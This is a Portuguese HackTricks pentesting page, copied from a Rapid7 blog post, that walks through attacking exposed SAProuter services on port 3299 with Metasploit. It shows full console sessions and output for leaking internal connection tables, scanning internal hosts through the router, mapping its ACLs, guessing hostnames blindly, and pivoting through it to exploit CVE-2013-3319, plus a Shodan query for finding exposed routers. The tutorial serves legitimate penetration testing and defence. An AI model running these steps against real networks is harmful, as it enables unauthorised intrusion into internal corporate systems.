hacktricks/network-services-pentesting/3299-pentesting-saprouter.md

20 KiB
Raw Blame History

Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Cópia de: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

Perfurando o SAProuter com o Metasploit

O SAProuter é basicamente um proxy reverso para sistemas SAP, geralmente localizado entre a Internet e os sistemas SAP internos. Seu principal objetivo é permitir o acesso controlado de hosts na Internet aos sistemas SAP internos, pois permite um controle mais refinado dos protocolos SAP do que um firewall típico.

Isso significa que o SAProuter geralmente acaba sendo exposto à Internet, permitindo a porta TCP de entrada 3299 para o host do SAProuter nos firewalls da organização. E a partir do SAProuter, pelo menos deveria ser possível alcançar um servidor SAP interno. Isso o torna um alvo muito interessante, já que pode fornecer uma maneira de entrar na rede de “alto valor”.

A figura a seguir mostra uma configuração básica de rede, que usaremos para os exemplos:

Primeiro, começaremos realizando uma varredura de serviço SAP do endereço IP exposto, usando o módulo sap_service_discovery, neste caso, 1.2.3.101.

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

A varredura mostra que o host está executando um SAP router na porta TCP 3299 esperada. Agora podemos aprofundar e tentar obter algumas informações do saprouter. Se ele estiver mal configurado, e muitas vezes estão, pode ser possível obter informações internas, como conexões estabelecidas através do saprouter para hosts internos. Para esse propósito, usamos o módulo sap_router_info_request:

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

Source        Destination   Service
------        -----------   -------
1.2.3.12      192.168.1.18  3200


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Enumerando hosts e serviços internos

Com essa informação, agora podemos começar a escanear a rede interna. Uma vez que o saprouter funciona como um proxy, tentaremos nos conectar a ele e solicitar conexões para hosts e portas internos, e ver as respostas do saprouter. Isso pode fornecer mais informações sobre os hosts internos, serviços e ACLs, dependendo da configuração do saprouter. Usaremos o módulo sap_router_portscanner para esse propósito.

O módulo se conecta ao saprouter e solicita conexões para outros hosts definidos na opção TARGETS em portas TCP específicas. Em seguida, analisa as respostas e compreende se a conexão solicitada é possível ou não. Este módulo oferece algumas opções que podem ser usadas:

Basic options:
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
RHOST                         yes       SAPRouter address
RPORT        3299             yes       SAPRouter TCP port
TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

Pelo menos, você terá que definir o endereço IP do saprouter, no caso do exemplo, 1.2.3.101. Em seguida, defina TARGETS para os endereços de rede interna que você deseja escanear e, finalmente, defina PORTS com as portas TCP a serem escaneadas.

O módulo também fornece uma opção INSTANCES que permite simplificar a definição da opção PORTS. Instalações SAP suportam múltiplas instâncias, fornecendo serviços similares, então cada instância tem portas TCP atribuídas. Por exemplo, a instância SAP 00 terá o serviço de dispatcher SAP onde o SAP GUI se conecta na porta 3200 e a instância 01 na porta 3201. A opção PORTS suporta um "coringa" que é "NN" que será substituído pelo número da instância, portanto, escaneando portas para todas as instâncias definidas. Então, se quisermos escanear instâncias de 00 a 50, podemos definir as variáveis INSTANCES e PORTS desta forma:

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

Com essa configuração, o módulo irá escanear as portas na faixa de 3200 a 3250.

No código-fonte do módulo, você tem informações sobre as portas padrão comuns em sistemas SAP, que agora usaremos para escaneamento:

msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host           Port   State   Info
----           ----   -----   ----
192.168.1.18   3201   closed  SAP Dispatcher sapdp01
192.168.1.18   3200   open    SAP Dispatcher sapdp00
192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

Podemos tentar entender por que algumas conexões não são permitidas através do saprouter usando a opção VERBOSE. Quando VERBOSE está configurado como true, podemos ver a resposta do saprouter e mapear a ACL definida.

Agora vamos escanear os hosts 192.168.1.18 e 192.168.1.1, mas apenas na porta 3200, para ver se conseguimos nos conectar a ambos os despachantes SAP:

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State   Info
----          ----  -----   ----
192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

Como você pode ver, agora também sabemos que não podemos nos conectar a outros hosts na porta 3200, pois ela está bloqueada pela ACL definida no saprouter.

Mapeando as ACLs

Uma coisa interessante sobre o saprouter é que ele suporta dois tipos de conexões:

  • Nativa Essas conexões são simplesmente conexões TCP;
  • Protocolo SAP São conexões TCP com um diferencial, o protocolo determina que todas as mensagens começam com 4 bytes indicando o comprimento do conteúdo seguinte.

O protocolo SAP é específico para o saprouter e é o que o SAP GUI usa para se conectar à porta SAP DIAG através do saprouter. O protocolo nativo é usado para permitir que outros tipos de conexões passem pelo saprouter.

Este módulo permite especificar qual tipo de conexão testar durante a varredura na opção MODE. O padrão é o protocolo SAP, que é o mais provável de ser usado em produção. No entanto, não é incomum encontrar outros serviços permitidos através do saprouter, onde a ACL permitirá conexões nativas TCP através dele.

Podemos definir o MODE para TCP a fim de avaliar se esse tipo de conexões é permitido. Agora vamos varrer os hosts internos, tanto na porta 3200 SAP DIAG quanto na 80 HTTP, com VERBOSE definido como true, nas duas instâncias 00 e 01 e ver o que acontece:

msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State  Info
----          ----  -----  ----
192.168.1.18  80    open
192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host         Port  State  Info
----         ----  -----  ----
192.168.1.1  3201  open   SAP Dispatcher sapdp01
192.168.1.1  80    open

[*] Auxiliary module execution completed

A partir da saída e das informações anteriores, agora sabemos que a ACL é algo como isto:

  • Permitir conexões TCP de qualquer host para 192.168.1.1 na porta 80
  • Permitir conexões TCP de qualquer host para 192.168.1.18 na porta 80
  • Permitir conexões TCP de qualquer host para 192.168.1.1 na porta 3201
  • Permitir conexões TCP de qualquer host para 192.168.1.18 na porta 3201
  • Permitir conexões SAP de qualquer host para 192.168.1.18 na porta 3200

Enumeração cega de hosts internos

Se você se lembra, começamos obtendo informações do saprouter que nos permitiu conhecer o endereço IP de um host interno, e partimos daí. Mas e se o saprouter não nos fornecer essa informação?

Uma opção é começar a escanear espaços de endereço privados e ver o que acontece. A outra é enumerar cegamente os hosts pelo nome do host.

Os saprouters são capazes de resolver nomes de host que solicitamos para se conectar. O saprouter também é gentil o suficiente para nos informar quais são os erros quando falha em se conectar você pode realmente ver as respostas brutas descomentando a linha 242 no código-fonte do módulo.

Com esse recurso, somos capazes de enumerar hosts internos pelo nome do host e tentar ir diretamente ao ponto crucial!

Para isso, precisamos definir a opção RESOLVE para "remote". Neste caso, o módulo solicitará conexão com os TARGETS definidos, sem resolvê-los localmente, e podemos tentar adivinhar os hosts internos e eventualmente nos conectar a eles sem nunca conhecer seus endereços IP.

Coisas importantes para lembrar ao enumerar cegamente hosts:

  • Definir VERBOSE como true;
  • Obteremos mais informações do saprouter se MODE estiver definido como SAP_PROTO;
  • É suficiente definir apenas uma porta para escanear, já que estamos interessados apenas nas informações enviadas pelo saprouter neste ponto tente 3200;
  • Os resultados variarão dependendo da ACL configurada. Infelizmente, conexões bloqueadas não nos darão muitas informações.

Neste exemplo, tentaremos os nomes de host sap, sapsrv e sapsrv2.

msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host     Port  State  Info
----     ----  -----  ----
sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

A partir da saída, vemos que o host "sap" não existe, mas o host sapsrv existe, embora seja inacessível, e o sapsrv2 existe e podemos conectar ao porto 3200.

Esta técnica também pode ser usada para tentar encontrar outros hosts na rede, não relacionados com SAP, basta tentar usar nomes de hosts comuns, como smtp, exchange, pdc, bdc, fileshare, intranet, ou quaisquer outros nomes de hosts interessantes que você possa ter na sua bolsa de truques.

A última milha

Agora que obtivemos todas essas informações, conhecemos os hosts internos disponíveis, quais serviços são permitidos e quais protocolos podemos usar para penetrar no saprouter, podemos realmente nos conectar aos servidores internos e prosseguir com nosso pentest.

O Metasploit nos oferece uma maneira incrível de usar o saprouter como um proxy, usando a opção Proxies, graças a Dave Hartley (@nmonkee).

Portanto, neste ponto, queremos começar a coletar informações sobre o servidor sap interno que descobrimos no host 192.168.1.18. Como exemplo, estaremos usando o módulo sap_hostctrl_getcomputersystem que explora o CVE-2013-3319 e nos dá detalhes sobre o sistema operacional em que o servidor está rodando, consultando o serviço SAP Host Control na porta 1128 através de uma solicitação SOAP não autenticada. Estaremos pivotando através do saprouter, usando o suporte a proxy no metasploit:

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Se tudo correu bem, você terá uma saída agradável do módulo no loot contendo informações internas interessantes do host SAP alvo como nomes de usuários internos que você pode tentar forçar bruta.

Pivoting pode e deve! ser usado para executar outros módulos contra hosts internos, não apenas sistemas SAP!

Conclusão

Vimos como é possível explorar configurações fracas de saprouter que podem permitir acesso a hosts internos diretamente da Internet, tudo isso usando apenas o suporte do metasploit para pentesting em sistemas SAP.

Espero que este artigo possa ajudar a esclarecer tanto os riscos associados a implantações de saprouter, quanto a segurança SAP em geral.

Referências

Shodan

  • port:3299 !HTTP Network packet too big
Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: